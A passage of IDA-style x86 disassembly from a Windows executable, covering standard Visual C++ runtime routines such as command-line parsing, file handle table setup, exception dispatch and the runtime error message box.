		test	esi, esi
		jz	short loc_423964
		mov	byte ptr [esi],	5Ch
		inc	esi


loc_423964:				; CODE XREF: sub_423825+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_42395C


loc_423969:				; CODE XREF: sub_423825+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_4239B9
		cmp	[ebp+arg_10], 0
		jnz	short loc_42397F
		cmp	dl, 20h
		jz	short loc_4239B9
		cmp	dl, 9
		jz	short loc_4239B9


loc_42397F:				; CODE XREF: sub_423825+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_4239B3
		test	esi, esi
		jz	short loc_4239A2
		movzx	ebx, dl
		test	byte_4DD281[ebx], 4
		jz	short loc_42399B
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]


loc_42399B:				; CODE XREF: sub_423825+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_4239B1
; ---------------------------------------------------------------------------


loc_4239A2:				; CODE XREF: sub_423825+162j
		movzx	edx, dl
		test	byte_4DD281[edx], 4
		jz	short loc_4239B1
		inc	eax
		inc	dword ptr [ecx]


loc_4239B1:				; CODE XREF: sub_423825+17Bj
					; sub_423825+187j
		inc	dword ptr [ecx]


loc_4239B3:				; CODE XREF: sub_423825+15Ej
		inc	eax
		jmp	loc_423911
; ---------------------------------------------------------------------------


loc_4239B9:				; CODE XREF: sub_423825+148j
					; sub_423825+153j ...
		test	esi, esi
		jz	short loc_4239C1
		and	byte ptr [esi],	0
		inc	esi


loc_4239C1:				; CODE XREF: sub_423825+196j
		inc	dword ptr [ecx]
		jmp	loc_4238DF
; ---------------------------------------------------------------------------


loc_4239C8:				; CODE XREF: sub_423825+BDj
					; sub_423825+D5j
		test	edi, edi
		jz	short loc_4239CF
		and	dword ptr [edi], 0


loc_4239CF:				; CODE XREF: sub_423825+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_423825	endp

; ---------------------------------------------------------------------------
		push	ecx
		push	ecx
		mov	eax, dword_4DBFB4
		push	ebx
		push	ebp
		mov	ebp, dword_427030
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_423A27
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_423A08
		mov	dword_4DBFB4, 1
		jmp	short loc_423A30
; ---------------------------------------------------------------------------


loc_423A08:				; CODE XREF: ___:004239FAj
		nop
		call	near ptr 2630B7Ah
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_423B02
		mov	dword_4DBFB4, 2
		jmp	loc_423AB6
; ---------------------------------------------------------------------------


loc_423A27:				; CODE XREF: ___:004239F2j
		cmp	eax, 1
		jnz	loc_423AB1


loc_423A30:				; CODE XREF: ___:00423A06j
		cmp	esi, ebx
		jnz	short loc_423A40
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_423B02


loc_423A40:				; CODE XREF: ___:00423A32j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_423A55


loc_423A47:				; CODE XREF: ___:00423A4Cj
					; ___:00423A53j
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_423A47
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_423A47


loc_423A55:				; CODE XREF: ___:00423A45j
		sub	eax, esi
		mov	edi, dword_427188
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+34h], eax
		call	edi
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_423AA6
		push	ebp
		call	sub_41BEB5
		cmp	eax, ebx
		pop	ecx
		mov	[esp+10h], eax
		jz	short loc_423AA6
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	dword ptr [esp+24h]
		push	esi
		push	ebx
		push	ebx
		call	edi
		test	eax, eax
		jnz	short loc_423AA2
		push	dword ptr [esp+10h]
		call	sub_41BA91
		pop	ecx
		mov	[esp+10h], ebx


loc_423AA2:				; CODE XREF: ___:00423A92j
		mov	ebx, [esp+10h]


loc_423AA6:				; CODE XREF: ___:00423A72j
					; ___:00423A81j
		push	esi
		nop
		call	near ptr 2630DD9h
		mov	eax, ebx
		jmp	short loc_423B04
; ---------------------------------------------------------------------------


loc_423AB1:				; CODE XREF: ___:00423A2Aj
		cmp	eax, 2
		jnz	short loc_423B02


loc_423AB6:				; CODE XREF: ___:00423A22j
		cmp	edi, ebx
		jnz	short loc_423AC6
		nop
		call	near ptr 2630B7Ah
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_423B02


loc_423AC6:				; CODE XREF: ___:00423AB8j
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_423AD6


loc_423ACC:				; CODE XREF: ___:00423ACFj
					; ___:00423AD4j
		inc	eax
		cmp	[eax], bl
		jnz	short loc_423ACC
		inc	eax
		cmp	[eax], bl
		jnz	short loc_423ACC


loc_423AD6:				; CODE XREF: ___:00423ACAj
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_41BEB5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_423AEC
		xor	esi, esi
		jmp	short loc_423AF7
; ---------------------------------------------------------------------------


loc_423AEC:				; CODE XREF: ___:00423AE6j
		push	ebp
		push	edi
		push	esi
		call	sub_41CD20
		add	esp, 0Ch


loc_423AF7:				; CODE XREF: ___:00423AEAj
		push	edi
		call	near ptr 2630E0Ch
		nop
		mov	eax, esi
		jmp	short loc_423B04
; ---------------------------------------------------------------------------


loc_423B02:				; CODE XREF: ___:00423A12j
					; ___:00423A3Aj ...
		xor	eax, eax


loc_423B04:				; CODE XREF: ___:00423AAFj
					; ___:00423B00j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_41BEB5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_423B2B
		push	1Bh
		call	sub_41E2C9
		pop	ecx


loc_423B2B:				; CODE XREF: ___:00423B21j
		mov	dword_4DD060, esi
		mov	dword_4DD160, 20h
		lea	eax, [esi+100h]


loc_423B41:				; CODE XREF: ___:00423B5Dj
		cmp	esi, eax
		jnb	short loc_423B5F
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, dword_4DD060
		add	esi, 8
		add	eax, 100h
		jmp	short loc_423B41
; ---------------------------------------------------------------------------


loc_423B5F:				; CODE XREF: ___:00423B43j
		lea	eax, [esp+10h]
		push	eax
		call	near ptr 28D0000h
		nop
		cmp	word ptr [esp+42h], 0
		jz	loc_423C3B
		mov	eax, [esp+44h]
		test	eax, eax
		jz	loc_423C3B
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_423B95
		mov	esi, eax


loc_423B95:				; CODE XREF: ___:00423B91j
		cmp	dword_4DD160, esi
		jge	short loc_423BEF
		mov	edi, offset dword_4DD064


loc_423BA2:				; CODE XREF: ___:00423BE5j
		push	100h
		call	sub_41BEB5
		test	eax, eax
		pop	ecx
		jz	short loc_423BE9
		add	dword_4DD160, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]


loc_423BC0:				; CODE XREF: ___:00423BDAj
		cmp	eax, ecx
		jnb	short loc_423BDC
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_423BC0
; ---------------------------------------------------------------------------


loc_423BDC:				; CODE XREF: ___:00423BC2j
		add	edi, 4
		cmp	dword_4DD160, esi
		jl	short loc_423BA2
		jmp	short loc_423BEF
; ---------------------------------------------------------------------------


loc_423BE9:				; CODE XREF: ___:00423BAFj
		mov	esi, dword_4DD160


loc_423BEF:				; CODE XREF: ___:00423B9Bj
					; ___:00423BE7j
		xor	edi, edi
		test	esi, esi
		jle	short loc_423C3B


loc_423BF5:				; CODE XREF: ___:00423C39j
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_423C32
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_423C32
		test	cl, 8
		jnz	short loc_423C14
		push	eax
		call	near ptr 2630000h
		nop
		test	eax, eax
		jz	short loc_423C32


loc_423C14:				; CODE XREF: ___:00423C07j
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DD060[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl


loc_423C32:				; CODE XREF: ___:00423BFAj
					; ___:00423C02j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_423BF5


loc_423C3B:				; CODE XREF: ___:00423B70j
					; ___:00423B7Cj ...
		xor	ebx, ebx


loc_423C3D:				; CODE XREF: ___:00423CA0j
		mov	eax, dword_4DD060
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_423C98
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_423C58
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_423C62
; ---------------------------------------------------------------------------


loc_423C58:				; CODE XREF: ___:00423C51j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h


loc_423C62:				; CODE XREF: ___:00423C56j
		push	eax
		nop
		call	near ptr 263080Ah
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_423C87
		push	edi
		call	near ptr 2630000h
		nop
		test	eax, eax
		jz	short loc_423C87
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_423C8D


loc_423C87:				; CODE XREF: ___:00423C6Ej
					; ___:00423C79j
		or	byte ptr [esi+4], 40h
		jmp	short loc_423C9C
; ---------------------------------------------------------------------------


loc_423C8D:				; CODE XREF: ___:00423C85j
		cmp	eax, 3
		jnz	short loc_423C9C
		or	byte ptr [esi+4], 8
		jmp	short loc_423C9C
; ---------------------------------------------------------------------------


loc_423C98:				; CODE XREF: ___:00423C49j
		or	byte ptr [esi+4], 80h


loc_423C9C:				; CODE XREF: ___:00423C8Bj
					; ___:00423C90j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_423C3D
		push	dword_4DD160
		nop
		call	near ptr 2630A54h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
; ---------------------------------------------------------------------------
		align 4
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423CC0	proc near		; DATA XREF: sub_4228FD+Ao
					; sub_422A2C+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_423D60
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_423CF3:				; CODE XREF: sub_423CC0+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_423D59
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_423D47
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_423D47
		js	short loc_423D52
		mov	edi, [ebx+8]
		push	ebx
		call	sub_41D550
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_41D592
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_41D626
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_423D47:				; CODE XREF: sub_423CC0+40j
					; sub_423CC0+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_423CF3
; ---------------------------------------------------------------------------


loc_423D52:				; CODE XREF: sub_423CC0+54j
		mov	eax, 0
		jmp	short loc_423D75
; ---------------------------------------------------------------------------


loc_423D59:				; CODE XREF: sub_423CC0+36j
		mov	eax, 1
		jmp	short loc_423D75
; ---------------------------------------------------------------------------


loc_423D60:				; CODE XREF: sub_423CC0+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_41D592
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_423D75:				; CODE XREF: sub_423CC0+97j
					; sub_423CC0+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_423CC0	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_41D592
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_423D98	proc near		; CODE XREF: sub_41E2C9+9p
		mov	eax, dword_4DBE4C
		cmp	eax, 1
		jz	short loc_423DAF
		test	eax, eax
		jnz	short locret_423DD0
		cmp	dword_43AE54, 1
		jnz	short locret_423DD0


loc_423DAF:				; CODE XREF: sub_423D98+8j
		push	0FCh
		call	sub_423DD1
		mov	eax, dword_4DBFB8
		pop	ecx
		test	eax, eax
		jz	short loc_423DC5
		call	eax


loc_423DC5:				; CODE XREF: sub_423D98+29j
		push	0FFh
		call	sub_423DD1
		pop	ecx

locret_423DD0:				; CODE XREF: sub_423D98+Cj
					; sub_423D98+15j
		retn
sub_423D98	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423DD1	proc near		; CODE XREF: sub_41E2C9+12p
					; sub_423D98+1Cp ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_43D4E8


loc_423DE4:				; CODE XREF: sub_423DD1+20j
		cmp	edx, [eax]
		jz	short loc_423DF3
		add	eax, 8
		inc	ecx
		cmp	eax, offset off_43D578
		jl	short loc_423DE4


loc_423DF3:				; CODE XREF: sub_423DD1+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, dword_43D4E8[esi]
		jnz	loc_423F21
		mov	eax, dword_4DBE4C
		cmp	eax, 1
		jz	loc_423EFB
		test	eax, eax
		jnz	short loc_423E24
		cmp	dword_43AE54, 1
		jz	loc_423EFB


loc_423E24:				; CODE XREF: sub_423DD1+44j
		cmp	edx, 0FCh
		jz	loc_423F21
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		call	near ptr 2690000h
		nop
		test	eax, eax
		jnz	short loc_423E5B
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_41C890
		pop	ecx
		pop	ecx


loc_423E5B:				; CODE XREF: sub_423DD1+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_41B9C0
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_423E9E
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_41B9C0
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_41BFD0
		add	esp, 10h


loc_423E9E:				; CODE XREF: sub_423DD1+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_41C890
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_41C8A0
		lea	eax, [ebp+var_A0]
		push	offset asc_427BF0 ; "\n\n"
		push	eax
		call	sub_41C8A0
		push	off_43D4EC[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C8A0
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_425029
		add	esp, 2Ch
		pop	edi
		jmp	short loc_423F21
; ---------------------------------------------------------------------------


loc_423EFB:				; CODE XREF: sub_423DD1+3Cj
					; sub_423DD1+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_43D4EC[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		nop
		call	near ptr 263080Ah
		push	eax
		call	near ptr 2740000h
		nop


loc_423F21:				; CODE XREF: sub_423DD1+2Ej
					; sub_423DD1+59j ...
		pop	esi
		leave
		retn
sub_423DD1	endp


; =============== S U B	R O U T	I N E =======================================



sub_423F24	proc near		; CODE XREF: sub_42423B:loc_4243B3p
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_4DD060


loc_423F33:				; CODE XREF: sub_423F24+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_423F70
		lea	edx, [eax+100h]


loc_423F3F:				; CODE XREF: sub_423F24+28j
		cmp	eax, edx
		jnb	short loc_423F5F
		test	byte ptr [eax+4], 1
		jz	short loc_423F4E
		add	eax, 8
		jmp	short loc_423F3F
; ---------------------------------------------------------------------------


loc_423F4E:				; CODE XREF: sub_423F24+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_423FB3


loc_423F5F:				; CODE XREF: sub_423F24+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_4DD160
		jl	short loc_423F33
		jmp	short loc_423FB3
; ---------------------------------------------------------------------------


loc_423F70:				; CODE XREF: sub_423F24+13j
		mov	esi, 100h
		push	esi
		call	sub_41BEB5
		test	eax, eax
		pop	ecx
		jz	short loc_423FB3
		add	dword_4DD160, 20h
		lea	ecx, ds:4DD060h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax


loc_423F96:				; CODE XREF: sub_423F24+88j
		cmp	eax, edx
		jnb	short loc_423FAE
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_423F96
; ---------------------------------------------------------------------------


loc_423FAE:				; CODE XREF: sub_423F24+74j
		shl	edi, 5
		mov	ebx, edi


loc_423FB3:				; CODE XREF: sub_423F24+39j
					; sub_423F24+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_423F24	endp


; =============== S U B	R O U T	I N E =======================================



sub_423FB9	proc near		; CODE XREF: sub_42423B+1F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DD160
		push	edi
		jnb	short loc_424019
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DD060h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_424019
		cmp	dword_43AE54, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_42400F
		sub	eax, 0
		jz	short loc_424006
		dec	eax
		jz	short loc_424001
		dec	eax
		jnz	short loc_42400F
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_424009
; ---------------------------------------------------------------------------


loc_424001:				; CODE XREF: sub_423FB9+3Ej
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_424009
; ---------------------------------------------------------------------------


loc_424006:				; CODE XREF: sub_423FB9+3Bj
		push	ebx
		push	0FFFFFFF6h


loc_424009:				; CODE XREF: sub_423FB9+46j
					; sub_423FB9+4Bj
		call	near ptr 2620CCEh
		nop


loc_42400F:				; CODE XREF: sub_423FB9+36j
					; sub_423FB9+41j
		mov	eax, [edi]
		mov	[eax+esi], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_42402D
; ---------------------------------------------------------------------------


loc_424019:				; CODE XREF: sub_423FB9+Cj
					; sub_423FB9+28j
		and	dword_4DBDF0, 0
		mov	dword_4DBDEC, 9
		or	eax, 0FFFFFFFFh


loc_42402D:				; CODE XREF: sub_423FB9+5Ej
		pop	edi
		pop	esi
		retn
sub_423FB9	endp


; =============== S U B	R O U T	I N E =======================================



sub_424030	proc near		; CODE XREF: sub_41E312+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, dword_4DD160
		push	edi
		jnb	short loc_424093
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:4DD060h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_424093
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_424093
		cmp	dword_43AE54, 1
		jnz	short loc_424089
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_424080
		dec	ecx
		jz	short loc_42407B
		dec	ecx
		jnz	short loc_424089
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_424083
; ---------------------------------------------------------------------------


loc_42407B:				; CODE XREF: sub_424030+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_424083
; ---------------------------------------------------------------------------


loc_424080:				; CODE XREF: sub_424030+3Ej
		push	eax
		push	0FFFFFFF6h


loc_424083:				; CODE XREF: sub_424030+49j
					; sub_424030+4Ej
		nop
		call	near ptr 2620CCEh


loc_424089:				; CODE XREF: sub_424030+38j
					; sub_424030+44j
		mov	eax, [edi]
		or	dword ptr [eax+esi], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_4240A7
; ---------------------------------------------------------------------------


loc_424093:				; CODE XREF: sub_424030+Cj
					; sub_424030+2Aj ...
		and	dword_4DBDF0, 0
		mov	dword_4DBDEC, 9
		or	eax, 0FFFFFFFFh


loc_4240A7:				; CODE XREF: sub_424030+61j
		pop	edi
		pop	esi
		retn
sub_424030	endp


; =============== S U B	R O U T	I N E =======================================



sub_4240AA	proc near		; CODE XREF: sub_41E312+32p
					; sub_41E312+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DD160
		jnb	short loc_4240D2
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DD060[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_4240D2
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------


loc_4240D2:				; CODE XREF: sub_4240AA+Aj
					; sub_4240AA+23j
		and	dword_4DBDF0, 0
		mov	dword_4DBDEC, 9
		or	eax, 0FFFFFFFFh
		retn
sub_4240AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4240E7	proc near		; CODE XREF: sub_41E3F0+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DD160
		jnb	short loc_424130
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, dword_4DD060[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_424130
		push	eax
		call	sub_4240AA
		pop	ecx
		push	eax
		call	near ptr 2620774h
		nop
		test	eax, eax
		jnz	short loc_424125
		call	near ptr 26A0CACh
		nop
		jmp	short loc_424127
; ---------------------------------------------------------------------------


loc_424125:				; CODE XREF: sub_4240E7+34j
		xor	eax, eax


loc_424127:				; CODE XREF: sub_4240E7+3Cj
		test	eax, eax
		jz	short locret_42413D
		mov	dword_4DBDF0, eax


loc_424130:				; CODE XREF: sub_4240E7+Aj
					; sub_4240E7+22j
		mov	dword_4DBDEC, 9
		or	eax, 0FFFFFFFFh

locret_42413D:				; CODE XREF: sub_4240E7+42j
		retn
sub_4240E7	endp


; =============== S U B	R O U T	I N E =======================================



sub_42413E	proc near		; DATA XREF: ___:00429020o
		mov	eax, dword_4DD040
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_424152
		mov	eax, 200h
		jmp	short loc_424158
; ---------------------------------------------------------------------------


loc_424152:				; CODE XREF: sub_42413E+Bj
		cmp	eax, esi
		jge	short loc_42415D
		mov	eax, esi


loc_424158:				; CODE XREF: sub_42413E+12j
		mov	dword_4DD040, eax


loc_42415D:				; CODE XREF: sub_42413E+16j
		push	4
		push	eax
		call	sub_4250B2
		pop	ecx
		mov	dword_4DC02C, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_424191
		push	4
		push	esi
		mov	dword_4DD040, esi
		call	sub_4250B2
		pop	ecx
		mov	dword_4DC02C, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_424191
		push	1Ah
		call	sub_41E2C9
		pop	ecx


loc_424191:				; CODE XREF: sub_42413E+30j
					; sub_42413E+49j
		xor	ecx, ecx
		mov	eax, offset off_43D578


loc_424198:				; CODE XREF: sub_42413E+6Ej
		mov	edx, dword_4DC02C
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_43D7F8
		jl	short loc_424198
		xor	edx, edx
		mov	ecx, offset dword_43D588


loc_4241B5:				; CODE XREF: sub_42413E+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, dword_4DD060[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4241D2
		test	eax, eax
		jnz	short loc_4241D5


loc_4241D2:				; CODE XREF: sub_42413E+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh


loc_4241D5:				; CODE XREF: sub_42413E+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_43D5E8
		jl	short loc_4241B5
		pop	esi
		retn
sub_42413E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4241E3	proc near		; DATA XREF: ___:00429030o

; FUNCTION CHUNK AT 00425163 SIZE 00000058 BYTES

		call	sub_41E487
		cmp	byte_4DBE2C, 0
		jz	short locret_4241F6
		jmp	loc_425163
; ---------------------------------------------------------------------------

locret_4241F6:				; CODE XREF: sub_4241E3+Cj
		retn
sub_4241E3	endp


; =============== S U B	R O U T	I N E =======================================



sub_4241F7	proc near		; CODE XREF: sub_41F8E3+32p
					; sub_41FE2A+6Cp ...

arg_0		= dword	ptr  4

		inc	dword_4DBFBC
		push	1000h
		call	sub_41BEB5
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_424220
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_424231
; ---------------------------------------------------------------------------


loc_424220:				; CODE XREF: sub_4241F7+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2


loc_424231:				; CODE XREF: sub_4241F7+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_4241F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42423B	proc near		; CODE XREF: sub_41FBCD+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_424261
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_42426C
; ---------------------------------------------------------------------------


loc_424261:				; CODE XREF: sub_42423B+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1


loc_42426C:				; CODE XREF: sub_42423B+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_424286
		test	ch, 40h
		jnz	short loc_424282
		cmp	dword_4DC008, eax
		jz	short loc_424286


loc_424282:				; CODE XREF: sub_42423B+3Dj
		or	[ebp+var_1], 80h


loc_424286:				; CODE XREF: sub_42423B+38j
					; sub_42423B+45j
		push	3
